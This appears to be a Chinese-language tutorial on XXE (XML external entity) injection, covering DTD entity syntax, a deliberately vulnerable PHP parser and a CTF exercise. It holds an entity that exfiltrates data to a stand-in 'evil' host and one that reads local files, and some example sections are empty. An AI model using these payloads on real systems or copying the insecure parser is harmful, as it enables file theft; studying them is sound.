1. xxe基础
1.1 语法
1.1.1 XML语法
XML可扩展标记语言,被设计用来传输和存储数据,其形式多样。XML 被设计为传输和存储数据,其焦点是数据的内容。HTML相比于XML,被设计用来显示数据,其焦点是数据的外观。XML可以把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
1.1.2 DTD语法
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
带有 DTD 的 XML 文档实例如下所示:
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
DOCTYPE(DTD的声明)
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
SYSTEM、PUBLIC(外部资源申请)
1.1.2.1 DTD实体
字符实体:
&#aaa; પ
命名实体:<!ENTITY x "First Param!">
外部实体:<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
参数实体:<!ENTITY % 实体名称 "实体的值">
内部实体:内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
1.1.3 XML运用
1.1.3.1 XML + DTD
命名实体+外部实体写法:
命名实体+外部实体+参数实体写法:
1.1.3.2 XML + PHP
<?php
highlight_file(__FILE__);
libxml_disable_entity_loader (false);
//Disable the ability to load external entities
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
//Represents an entire HTML or XML document; serves as the root of the document tree.
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
//This function takes a node of a DOM document and makes it into a SimpleXML node. This new object can then be used as a native SimpleXML element.
echo $creds;
?>
]>
&goodies;
1.1.3.3 练习题
这道题要改文件类型为application/xml,flag路径为/home/ctf/flag.txt。(查看/etc/passwd只能看到路径,看不到文件名,哪想到是flag.txt)
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
writeup:
https://blog.csdn.net/zpy1998zpy/article/details/80918975
1.1.4 XXE的漏洞危害
1.1.4.1 任意文件读取(无回显)
参考资料:
1、 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357
2、XML与xxe注入基础知识 https://www.cnblogs.com/backlion/p/9302528.html
3、XML解析 https://blog.csdn.net/LiJiaxue_1224/article/details/91410571